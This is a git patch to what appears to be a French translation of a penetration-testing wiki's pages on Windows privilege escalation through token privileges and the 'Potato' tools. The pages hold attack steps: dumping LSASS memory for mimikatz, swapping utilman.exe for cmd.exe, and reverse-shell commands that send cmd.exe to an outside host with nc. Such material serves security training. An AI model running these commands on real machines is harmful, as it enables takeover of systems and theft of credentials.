From 74f3337498450a7b9f2bc274f5602d49def19748 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Jul 2024 11:10:47 +0000 Subject: [PATCH] Translated ['windows-hardening/windows-local-privilege-escalation/privil --- .../README.md | 28 ++++++------- .../roguepotato-and-printspoofer.md | 41 +++++++++++++++---- 2 files changed, 47 insertions(+), 22 deletions(-) diff --git a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index 28a34c149..1d527420b 100644 --- a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -27,7 +27,7 @@ Si vous **ne savez pas ce que sont les Windows Access Tokens**, lisez cette page ### SeImpersonatePrivilege -C'est un privilège détenu par tout processus qui permet l'imitation (mais pas la création) de tout token, à condition qu'un handle puisse être obtenu. Un token privilégié peut être acquis à partir d'un service Windows (DCOM) en l'incitant à effectuer une authentification NTLM contre un exploit, permettant ensuite l'exécution d'un processus avec des privilèges SYSTEM. Cette vulnérabilité peut être exploitée à l'aide de divers outils, tels que [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (qui nécessite que winrm soit désactivé), [SweetPotato](https://github.com/CCob/SweetPotato), et [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +C'est un privilège détenu par tout processus qui permet l'imitation (mais pas la création) de tout token, à condition qu'un handle puisse être obtenu. Un token privilégié peut être acquis à partir d'un service Windows (DCOM) en l'incitant à effectuer une authentification NTLM contre un exploit, permettant ensuite l'exécution d'un processus avec des privilèges SYSTEM. Cette vulnérabilité peut être exploitée à l'aide de divers outils, tels que [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (qui nécessite que winrm soit désactivé), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) et [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {% content-ref url="../roguepotato-and-printspoofer.md" %} [roguepotato-and-printspoofer.md](../roguepotato-and-printspoofer.md) @@ -49,7 +49,7 @@ Si vous avez activé ce token, vous pouvez utiliser **KERB\_S4U\_LOGON** pour ob ### SeBackupPrivilege -Le système est amené à **accorder tous les accès en lecture** à tout fichier (limité aux opérations de lecture) par ce privilège. Il est utilisé pour **lire les hachages de mot de passe des comptes Administrateur locaux** à partir du registre, après quoi, des outils comme "**psexec**" ou "**wmiexec**" peuvent être utilisés avec le hachage (technique Pass-the-Hash). Cependant, cette technique échoue sous deux conditions : lorsque le compte Administrateur local est désactivé, ou lorsqu'une politique est en place qui retire les droits administratifs des Administrateurs locaux se connectant à distance.\ +Le système est amené à **accorder tous les accès en lecture** à tout fichier (limité aux opérations de lecture) par ce privilège. Il est utilisé pour **lire les hachages de mots de passe des comptes Administrateur locaux** à partir du registre, après quoi, des outils comme "**psexec**" ou "**wmiexec**" peuvent être utilisés avec le hachage (technique Pass-the-Hash). Cependant, cette technique échoue sous deux conditions : lorsque le compte Administrateur local est désactivé, ou lorsqu'une politique est en place qui retire les droits administratifs des Administrateurs locaux se connectant à distance.\ Vous pouvez **abuser de ce privilège** avec : * [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) @@ -78,13 +78,13 @@ SeCreateTokenPrivilege est une permission puissante, particulièrement utile lor Ce privilège permet de **charger et décharger des pilotes de périphériques** en créant une entrée de registre avec des valeurs spécifiques pour `ImagePath` et `Type`. Étant donné que l'accès en écriture direct à `HKLM` (HKEY_LOCAL_MACHINE) est restreint, `HKCU` (HKEY_CURRENT_USER) doit être utilisé à la place. Cependant, pour rendre `HKCU` reconnaissable par le noyau pour la configuration des pilotes, un chemin spécifique doit être suivi. -Ce chemin est `\Registry\User\\System\CurrentControlSet\Services\DriverName`, où `` est l'Identifiant Relatif de l'utilisateur actuel. À l'intérieur de `HKCU`, ce chemin entier doit être créé, et deux valeurs doivent être définies : +Ce chemin est `\Registry\User\\System\CurrentControlSet\Services\DriverName`, où `` est l'identifiant relatif de l'utilisateur actuel. À l'intérieur de `HKCU`, ce chemin entier doit être créé, et deux valeurs doivent être définies : - `ImagePath`, qui est le chemin vers le binaire à exécuter - `Type`, avec une valeur de `SERVICE_KERNEL_DRIVER` (`0x00000001`). **Étapes à suivre :** 1. Accéder à `HKCU` au lieu de `HKLM` en raison de l'accès en écriture restreint. -2. Créer le chemin `\Registry\User\\System\CurrentControlSet\Services\DriverName` dans `HKCU`, où `` représente l'Identifiant Relatif de l'utilisateur actuel. +2. Créer le chemin `\Registry\User\\System\CurrentControlSet\Services\DriverName` dans `HKCU`, où `` représente l'identifiant relatif de l'utilisateur actuel. 3. Définir `ImagePath` sur le chemin d'exécution du binaire. 4. Assigner `Type` comme `SERVICE_KERNEL_DRIVER` (`0x00000001`). ```python @@ -124,7 +124,7 @@ Ce privilège permet de **déboguer d'autres processus**, y compris de lire et d #### Dump mémoire -Vous pouvez utiliser [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) de la [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) pour **capturer la mémoire d'un processus**. Plus précisément, cela peut s'appliquer au processus **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, qui est responsable du stockage des informations d'identification des utilisateurs une fois qu'un utilisateur s'est connecté avec succès à un système. +Vous pouvez utiliser [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) de la [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) pour **capturer la mémoire d'un processus**. En particulier, cela peut s'appliquer au processus **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, qui est responsable du stockage des informations d'identification des utilisateurs une fois qu'un utilisateur s'est connecté avec succès à un système. Vous pouvez ensuite charger ce dump dans mimikatz pour obtenir des mots de passe : ``` @@ -157,27 +157,27 @@ Si vous avez des tokens désactivés, vous pouvez utiliser le script [**EnableAl .\EnableAllTokenPrivs.ps1 whoami /priv ``` -Or le **script** intégré dans ce [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). +Ou le **script** intégré dans ce [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). ## Table -Cheatsheet complète des privilèges de token à [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), le résumé ci-dessous ne listera que les moyens directs d'exploiter le privilège pour obtenir une session admin ou lire des fichiers sensibles. +Cheatsheet complète des privilèges de jeton à [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), le résumé ci-dessous ne listera que les moyens directs d'exploiter le privilège pour obtenir une session admin ou lire des fichiers sensibles. | Privilège | Impact | Outil | Chemin d'exécution | Remarques | | -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **`SeAssignPrimaryToken`** | _**Admin**_ | Outil tiers | _"Cela permettrait à un utilisateur d'imiter des tokens et de privesc au système nt en utilisant des outils tels que potato.exe, rottenpotato.exe et juicypotato.exe"_ | Merci à [Aurélien Chalot](https://twitter.com/Defte\_) pour la mise à jour. J'essaierai de reformuler cela en quelque chose de plus ressemblant à une recette bientôt. | +| **`SeAssignPrimaryToken`** | _**Admin**_ | Outil tiers | _"Cela permettrait à un utilisateur d'imiter des jetons et de s'élever vers le système nt en utilisant des outils tels que potato.exe, rottenpotato.exe et juicypotato.exe"_ | Merci à [Aurélien Chalot](https://twitter.com/Defte\_) pour la mise à jour. J'essaierai de reformuler cela en quelque chose de plus ressemblant à une recette bientôt. | | **`SeBackup`** | **Menace** | _**Commandes intégrées**_ | Lire des fichiers sensibles avec `robocopy /b` |

- Peut être plus intéressant si vous pouvez lire %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (et robocopy) n'est pas utile lorsqu'il s'agit de fichiers ouverts.

- Robocopy nécessite à la fois SeBackup et SeRestore pour fonctionner avec le paramètre /b.

| -| **`SeCreateToken`** | _**Admin**_ | Outil tiers | Créer un token arbitraire incluant des droits d'administrateur local avec `NtCreateToken`. | | -| **`SeDebug`** | _**Admin**_ | **PowerShell** | Dupliquer le token `lsass.exe`. | Script à trouver sur [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +| **`SeCreateToken`** | _**Admin**_ | Outil tiers | Créer un jeton arbitraire incluant des droits d'administrateur local avec `NtCreateToken`. | | +| **`SeDebug`** | _**Admin**_ | **PowerShell** | Dupliquer le jeton `lsass.exe`. | Script à trouver sur [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | | **`SeLoadDriver`** | _**Admin**_ | Outil tiers |

1. Charger un pilote de noyau bogué tel que szkg64.sys
2. Exploiter la vulnérabilité du pilote

Alternativement, le privilège peut être utilisé pour décharger des pilotes liés à la sécurité avec la commande intégrée ftlMC. c'est-à-dire : fltMC sysmondrv

|

1. La vulnérabilité szkg64 est répertoriée comme CVE-2018-15732
2. Le szkg64 code d'exploitation a été créé par Parvez Anwar

| | **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Lancer PowerShell/ISE avec le privilège SeRestore présent.
2. Activer le privilège avec Enable-SeRestorePrivilege.
3. Renommer utilman.exe en utilman.old
4. Renommer cmd.exe en utilman.exe
5. Verrouiller la console et appuyer sur Win+U

|

L'attaque peut être détectée par certains logiciels antivirus.

La méthode alternative repose sur le remplacement des binaires de service stockés dans "Program Files" en utilisant le même privilège

| | **`SeTakeOwnership`** | _**Admin**_ | _**Commandes intégrées**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Renommer cmd.exe en utilman.exe
4. Verrouiller la console et appuyer sur Win+U

|

L'attaque peut être détectée par certains logiciels antivirus.

La méthode alternative repose sur le remplacement des binaires de service stockés dans "Program Files" en utilisant le même privilège.

| -| **`SeTcb`** | _**Admin**_ | Outil tiers |

Manipuler des tokens pour inclure des droits d'administrateur local. Peut nécessiter SeImpersonate.

À vérifier.

| | +| **`SeTcb`** | _**Admin**_ | Outil tiers |

Manipuler des jetons pour inclure des droits d'administrateur local. Peut nécessiter SeImpersonate.

À vérifier.

| | ## Référence -* Jetez un œil à ce tableau définissant les tokens Windows : [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) -* Jetez un œil à [**ce document**](https://github.com/hatRiot/token-priv/blob/master/abusing\_token\_eop\_1.0.txt) sur le privesc avec des tokens. +* Jetez un œil à ce tableau définissant les jetons Windows : [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) +* Jetez un œil à [**ce document**](https://github.com/hatRiot/token-priv/blob/master/abusing\_token\_eop\_1.0.txt) sur privesc avec des jetons. {% hint style="success" %} Apprenez et pratiquez le hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -189,7 +189,7 @@ Apprenez et pratiquez le hacking GCP : * {% endhint %} diff --git a/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index ea86eadc9..359bf6f1f 100644 --- a/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -30,7 +30,7 @@ Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l *** {% hint style="warning" %} -**JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et ultérieurs. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato) peuvent être utilisés pour **exploiter les mêmes privilèges et obtenir un accès de niveau `NT AUTHORITY\SYSTEM`**. Cet [article de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondit l'outil `PrintSpoofer`, qui peut être utilisé pour abuser des privilèges d'imitation sur les hôtes Windows 10 et Server 2019 où JuicyPotato ne fonctionne plus. +**JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et ultérieurs. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** peuvent être utilisés pour **exploiter les mêmes privilèges et obtenir un accès au niveau `NT AUTHORITY\SYSTEM`**. Cet [article de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondit l'outil `PrintSpoofer`, qui peut être utilisé pour abuser des privilèges d'imitation sur les hôtes Windows 10 et Server 2019 où JuicyPotato ne fonctionne plus. {% endhint %} ## Quick Demo @@ -61,8 +61,8 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f {% endcode %} ### SharpEfsPotato -``` -SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log" +```bash +> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log" SharpEfsPotato by @bugch3ck Local privilege escalation from SeImpersonatePrivilege using EfsRpc. @@ -77,13 +77,36 @@ df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc: [+] Process created, enjoy! C:\temp>type C:\temp\w.log +nt authority\system +``` +### EfsPotato +```bash +> EfsPotato.exe "whoami" +Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). +Part of GMH's fuck Tools, Code By zcgonvh. +CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] + +[+] Current user: NT Service\MSSQLSERVER +[+] Pipe: \pipe\lsarpc +[!] binding ok (handle=aeee30) +[+] Get Token: 888 +[!] process with pid: 3696 created. +============================== +[x] EfsRpcEncryptFileSrv failed: 1818 + nt authority\system ``` ### GodPotato +```bash +> GodPotato -cmd "cmd /c whoami" +# You can achieve a reverse shell like this. +> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -GodPotato -cmd "cmd /c whoami" -GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" -``` +### DCOMPotato + +![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) + + ## Références * [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) @@ -91,6 +114,8 @@ GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" * [https://github.com/antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato) * [https://github.com/bugch3ck/SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato) * [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato) +* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato) +* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) ### [WhiteIntel](https://whiteintel.io) @@ -98,7 +123,7 @@ GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" [**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**. -Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations. +Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations. Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à : @@ -114,7 +139,7 @@ Apprenez et pratiquez le hacking GCP : * {% endhint %}